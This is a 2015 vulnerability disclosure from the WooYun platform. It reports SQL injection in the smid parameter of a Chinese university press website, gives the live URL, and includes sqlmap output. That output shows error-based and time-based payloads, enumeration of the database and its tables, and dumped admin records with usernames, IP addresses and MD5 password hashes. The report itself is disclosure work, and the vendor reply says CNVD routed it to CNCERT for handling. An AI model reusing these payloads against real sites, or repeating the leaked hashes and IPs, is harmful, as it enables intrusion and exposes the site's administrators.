漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0102660
漏洞标题：西南师范大学出版社网站sql注入
相关厂商：西南师范大学出版社
漏洞作者： venc
提交时间：2015-03-24 12:03
修复时间：2015-05-11 15:52
公开时间：2015-05-11 15:52
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-24： 细节已通知厂商并且等待厂商处理中
2015-03-27： 厂商已经确认，细节仅向厂商公开
2015-04-06： 细节向核心白帽子及相关领域专家公开
2015-04-16： 细节向普通白帽子公开
2015-04-26： 细节向实习白帽子公开
2015-05-11： 细节向公众公开
简要描述：
西南师范大学出版社网站sql注入
详细说明：
url：http://www.xscbs.com.cn/xishi/index.php?file=news&smid=14&nid=1614
参数smid注入
sqlmap：
sqlmap identified the following injection points with a total of 201 HTTP(s) requests:
---
Place: GET
Parameter: smid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: file=news&smid=14 AND (SELECT 9846 FROM(SELECT COUNT(*),CONCAT(0x716c6c6571,(SELECT (CASE WHEN (9846=9846) THEN 1 ELSE 0 END)),0x7162797271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&nid=1614
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: file=news&smid=14 AND SLEEP(5)&nid=1614
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [2]:
[*] information_schema
[*] xishi
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
Database: xishi
[10 tables]
+-----------------+
| adlink_area |
| adlink_item |
| config |
| guestbook |
| job_recruitment |
| manager |
| member |
| onlinebook |
| pub |
| pub_column |
+-----------------+
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5
Database: xishi
Table: manager
[2 entries]
+----+-------+---------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+-------+---------+----------------+----------------+---------------------+---------------------+----------------------------------+----------+
| id | name | memo | flag | type | state | intro | lastip | thisip | thisdate | lastdate | password | realname |
+----+-------+---------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+-------+---------+----------------+----------------+---------------------+---------------------+----------------------------------+----------+
| 1 | admin | 鎫Bㄥ~O~\ㄨ縹Y閪G~L鍉F~Y涓~K澶~G蹇~X淇℃~A~@︹~@?| | | 1 | 0 | <blank> | 183.64.203.232 | 14.108.137.164 | 2015-03-18 15:20:12 | 2015-03-18 14:59:43 | c5b658569968be890a465904251b6e9c | <blank> |
| 3 | root | NULL | |content:11=w,m,a,;12=w,m,a,;13=w,m,a,;14=w,m,a,;15=w,m,a,;16=w,m,a,;17=w,m,a,;18=w,m,a,;20=w,m,a,;22=w,m,a,;23=w,m,a,;24=w,m,a,;29=w,m,a,;30=w,m,a,;31=w,m,a,;32=w,m,a,;33=w,m,a,;34=w,m,a,;35=w,m,a,;36=w,m,a,;37=w,m,a,;38=w,m,a,;39=w,m,a,;40=w,m,a,;42=w,m,a,;43=w,m,a,;1=w,m,a,;2=w,m,a,;4=w,m,a,;5=w,m,a,;6=w,m,a,;25=w,m,a,;7=w,m,a,;10=w,m,a,;8=w,m,a,;9=w,m,a,;| | 0 | 0 | <blank> | <blank> | <blank> | NULL | NULL | c5b658569968be890a465904251b6e9c | <blank> |
+----+-------+---------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+-------+---------+----------------+----------------+---------------------+---------------------+----------------------------------+----------+
管理员密码md5没破解
config表有不少配置内容：
back-end DBMS: MySQL 5
Database: xishi
Table: config
[37 entries]
+------+---------+----------------------------+---------+-------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | tag | name | memo | issys | value |
+------+---------+----------------------------+---------+-------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1014 | <blank> | cookie_prefix | <blank> | 0 | msc_ |
| 1015 | <blank> | db_def_len_varchar | <blank> | 0 | 100 |
| 1016 | <blank> | db_def_table_columns | <blank> | 0 | `id` INTEGER AUTO_INCREMENT,`addtime` DATETIME,`ordertime` DATETIME,`cid` INTEGER DEFAULT 0,`fid` INTEGER DEFAULT 0,`indexid` INTEGER DEFAULT 0,`compid` INTEGER DEFAULT 0,`viewcount` INTEGER DEFAULT 0,`state` INTEGER DEFAULT 0,`ishot` INTEGER DEFAULT 0,`type` INTEGER DEFAULT 0,`pos` TEXT,`adminname` VARCHAR(255),`name` VARCHAR(255),`name_style` VARCHAR(255),`dirid` VARCHAR(50), PRIMARY KEY(`id`) |
| 1015 | <blank> | db_def_len_varchar | <blank> | 0 | 100 |
| 1016 | <blank> | db_def_table_columns | <blank> | 0 | `id` INTEGER AUTO_INCREMENT,`addtime` DATETIME,`ordertime` DATETIME,`cid` INTEGER DEFAULT 0,`fid` INTEGER DEFAULT 0,`indexid` INTEGER DEFAULT 0,`compid` INTEGER DEFAULT 0,`viewcount` INTEGER DEFAULT 0,`state` INTEGER DEFAULT 0,`ishot` INTEGER DEFAULT 0,`type` INTEGER DEFAULT 0,`pos` TEXT,`adminname` VARCHAR(255),`name` VARCHAR(255),`name_style` VARCHAR(255),`dirid` VARCHAR(50), PRIMARY KEY(`id`) |
| 1017 | <blank> | db_sys_tab_column | <blank> | 0 | id,addtime,ordertime,cid,fid,indexid,compid,viewcount,state,ishot,pos,type,name,name_style,dirid,adminname |
| 1018 | <blank> | func_create_without_files | <blank> | 0 | database.sql |
| 1019 | <blank> | func_dbsql_file | <blank> | 0 | database.sql |
| 1020 | <blank> | func_logo_filename | <blank> | 0 | funclogo.gif |
| 1021 | <blank> | img_mini_dir | <blank> | 0 | mini
| 1022 | <blank> | img_mini_max_height | <blank> | 0 | 200 |
| 1023 | <blank> | img_mini_max_width | <blank> | 0 | 200 |
| 1024 | <blank> | img_watermark_default | <blank> | 0 | 1 |
| 1025 | <blank> | img_watermark_pic_filename | <blank> | 0 | watermark.gif |
| 1026 | <blank> | img_watermark_pos | <blank> | 0 | 3
漏洞证明：
修复方案：
版权声明：转载请注明来源 venc@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2015-03-27 15:51
厂商回复：
CNVD确认并复现所述情况,已经转由CNCERT下发给赛尔教育,由其后续协调网站管理单位处置.
最新状态：
暂无